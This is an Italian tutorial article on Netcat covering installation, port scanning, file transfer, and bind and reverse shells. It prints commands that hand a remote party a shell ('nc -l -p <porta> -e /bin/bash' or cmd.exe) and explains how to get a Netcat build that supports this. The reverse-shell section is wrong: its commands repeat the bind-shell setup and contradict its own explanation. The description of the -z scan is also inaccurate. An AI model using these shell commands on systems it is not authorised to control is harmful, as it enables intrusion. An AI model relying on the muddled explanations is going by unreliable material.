Netcat: il segreto dei Pro per il Networking su Linux e Windows

Breve guida al funzionamento di Netcat, un'utilità di rete a riga di comando progettata per leggere e scrivere dati tramite connessioni TCP e UDP. Versatile e leggera, consente operazioni come trasferimento file, scansioni di porte, debug di applicazioni e configurazioni di Bind e Reverse Shell.

Chi è abituato a utilizzare i sistemi Windows, sa bene che il novero di utilità per il networking sulle quali è possibile contare risulta piuttosto limitato. Tante mancanze possono essere colmate servendosi di cmdlet PowerShell anche se uno strumento come Netcat di fatto non esiste. Netcat è un’utilità a riga di comando nata in ambiente Unix e progettata per leggere e scrivere dati su connessioni di rete, utilizzando i protocolli TCP e UDP. È uno strumento estremamente leggero ma potente, che consente di svolgere un’ampia gamma di operazioni legate al networking.

Cos’è Netcat e a cosa serve

Uno strumento software come Netcat risulta particolarmente utile per verificare e risolvere problemi di rete, ma è anche comunemente utilizzato nell’ambito della sicurezza informatica.

Tra le funzionalità di base di Netcat, vi sono l’apertura di connessioni TCP e UDP, la scansione di porte e il debug di applicazioni di rete. In altre parole, il programma può simulare connessioni a server e controllare le risposte ottenute, rendendosi così molto utile per gli sviluppatori che devono testare il comportamento delle applicazioni che inviano e ricevono dati in rete.

Netcat può essere utilizzato anche per creare server e client temporanei nonché per il trasferimento di file da un sistema all’altro.

Il nome Netcat deriva dalla combinazione di due elementi chiave che definiscono il suo utilizzo e le sue funzionalità:

  • Net: fa riferimento alla rete (network), in quanto Netcat è uno strumento progettato per operare a livello di rete. Può inviare e ricevere dati attraverso connessioni TCP e UDP, consentendo di eseguire varie operazioni legate alla comunicazione di rete.
  • Cat: è un richiamo al conosciutissimo comando Unix/Linux cat, utilizzato per concatenare e visualizzare i contenuti dei file. Netcat si comporta in modo simile, ma anziché lavorare con file locali, agisce su flussi di dati in rete, trasferendoli, visualizzandoli e manipolandoli. A seconda di quanto richiesto dall’utente.

Quindi, il nome Netcat rappresenta l’idea di un “cat della rete“, uno strumento semplice, ma estremamente potente, per la gestione dei dati che viaggiano tra un host e l’altro.

Come installare Netcat su Linux

Netcat è disponibile su numerosi sistemi operativi, tra cui Linux e Windows. L’installazione varia leggermente a seconda del sistema utilizzato.

Nel caso di Linux, Netcat è spesso preinstallato. Se non fosse presente, può essere caricato tramite il package manager della distribuzione. Su Debian, Ubuntu e distribuzioni derivate, basta impartire il comando seguente:

sudo apt install netcat -y

Su CentOS/RHEL, si può digitare sudo yum install nc mentre ad esempio su Arch Linux sudo pacman -S netcat.

Come installare Netcat su Windows

In ambiente Windows, per usare Netcat è necessario scaricare e installare il software Nmap, che contiene l’applicazione. Il download di Nmap può essere richiesto da questa pagina.

La buona notizia è che anche Windows 10 e Windows 11 integrano un package manager sviluppato e aggiornato da Microsoft. Si chiama Winget e permette di installare e aggiornare programmi automaticamente in Windows. Proprio usando Winget, gli utenti Windows possono scaricare e installare automaticamente Nmap e Netcat. Basta aprire la finestra del terminale e impartire il seguente comando:

winget install Insecure.Nmap

Nel caso di Windows, è necessario spuntare almeno le caselle Nmap Core Files, Register Nmap PathNcat quando si avvia l’installazione di Nmap. Inoltre, è necessario usare il comando ncat anziché nc. Per usarlo da qualunque percorso, è indispensabile riavviare Windows dopo aver concluso l’installazione di Nmap sul sistema locale.

Scansione di porte

Netcat può verificare quali porte di un host sono aperte, aiutando a identificare servizi attivi e potenziali vulnerabilità. La sintassi da usare è la seguente:

nc -zv <indirizzo_ip> <porta_inizio>-<porta_fine>

L’utilità si limita a verificare se le porte sono aperte, senza tentare una connessione. Volendo, si può aggiungere anche l’opzione -w seguita dal numero di secondi di attesa (tempo di attesa per la connessione). L’opzione -v rende l’output più dettagliato mentre -z indica appunto di effettuare solo una scansione senza connessione. La funzionalità rende Netcat uno strumento utile per valutare la superficie di attacco di un sistema, noto il suo indirizzo IP locale o pubblico.

Il comando proposto, inoltre, esamina soltanto le porte TCP. Per scansionare anche le porte UDP, è necessario aggiungere l’opzione -u al comando:

nc -zv -u <indirizzo_ip> <porta_inizio>-<porta_fine>

Trasferimento di file

Utilizzando un programma come Netcat è possibile trasferire file tra due sistemi senza la necessità di configurazioni complesse. Su Linux si può scrivere quanto segue per creare un server Netcat in ascolto sulla porta 1234, pronto per trasferire il file chiamato
documento.txt:

cat documento.txt | nc <indirizzo_ip> 1234

Su Windows si può ottenere lo stesso risultato usando il comando ncat <indirizzo_ip> 1234 < documento.txt

Per attivare la ricezione del file su un altro sistema, basta servirsi dell’istruzione seguente:

nc -l -p 1234 > documento.txt

Ovviamente, è possibile personalizzare il numero di porta, l’indirizzo IP e il nome del file. L’indirizzo IP da specificane nei comandi precedenti è quello della macchina remota alla quale si vuole trasmettere il file documento.txt.

Inoltre, il comando cat documento.txt legge il contenuto del file specificato e lo invia come output al comando successivo (nc) tramite una pipe (|).

Bind Shell

Una Bind Shell è un tipo di shell che “lega” un terminale a una porta specifica su un host remoto. Quando si utilizza Netcat per configurare una Bind Shell, l’utilità si pone in ascolto su una determinata porta, in attesa di richieste. Una volta che un client si connette alla porta indicata, il server concede l’accesso remoto al terminale della macchina sulla quale è in esecuzione Netcat.

Utilizzando il comando nc -l -v -p <porta> -e /bin/bash, la macchina Linux si mette in ascolto e, quando un client si connette, gli fornisce una shell remota. Il client che si connette con il comando nc <indirizzo IP> <porta> assume di fatto il controllo sulla macchina remota.

Per attivare la Bind Shell su un sistema Windows, basta sostituire semplicemente /bin/bash con cmd.exe.

Sia nel caso in cui si utilizzi una Bind Shell che una Reverse Shell, come spiegato al paragrafo seguente, utilizzando i comandi dir per Windows o ls per Linux, oltre ad esempio a whoami, si può verificare di aver preso pieno possesso della macchina remota.

Shell remota con Netcat

Nell’esempio, a sinistra un sistema Windows con cui si è assunto il controllo su una macchina Linux remota (a destra). I comandi ls, whoami e id restituiti a sinistra, si riferiscono alla macchina Linux remota che si sta controllando.

Reverse Shell

Nel caso di una Reverse Shell, è il sistema locale che si collega a un server Netcat remoto. Si tratta di un approccio utile quando la macchina si trova a valle di un firewall o in una rete ove è in uso la tecnica NAT (Network Address Translation). A differenza della Bind Shell, in cui è il client a connettersi al server, nella Reverse Shell è il server (la macchina target) che si connette al client: da qui discende il nome di questa particolare modalità di connessione, peraltro utilizzata da molti software di amministrazione remota.

Sul sistema server in questo caso si digita nc <indirizzo IP> <porta> mentre sul client nc -l -v -p <porta> -e /bin/bash oppure nc -l -v -p <porta> -e cmd.exe, a seconda che si stia amministrando, rispettivamente, una macchina Linux o Windows.

Non tutte le versioni di Netcat supportano Bind Shell e Reverse Shell

Se si dovesse ricevere il messaggio “nc: invalid option — ‘e’“, significa che la versione di Netcat in uso non supporta l’opzione -e per motivi di sicurezza.

Su Ubuntu, ad esempio, è possibile rimuovere la versione netcat-openbsd per installare netcat-traditional. Quest’ultima si trova nel repository Universe, che deve essere aggiunto manualmente:

sudo apt remove netcat-openbsd
sudo add-apt-repository universe
sudo apt update
sudo apt install netcat-traditional

Alcune osservazioni importanti su Netcat

In conclusione, osserviamo che per interrompere qualunque operazione con Netcat, basta premere la combinazione di tasti CTRL+C.

Nonostante la sua grande utilità, Netcat può rappresentare un rischio se utilizzato impropriamente. Il software va utilizzato quindi soltanto in ambienti controllati, è indispensabile limitare l’accesso agli utenti autorizzati ed è bene monitorare l’uso dello strumento tramite log e altre tecniche di sicurezza.

Per chi lavora sulle reti e si occupa di sicurezza informatica, Netcat è da sempre uno strumento preziosissimo. La sua semplicità d’uso e la versatilità lo rendono un alleato prezioso per una vasta gamma di attività: dall’amministrazione di sistemi alla risoluzione di problemi di rete. Tuttavia, il suo utilizzo richiede consapevolezza e responsabilità, soprattutto in contesti aziendali e pubblici.

Credit immagine in apertura: iStock.com – imaginima

Ti consigliamo anche

Link copiato negli appunti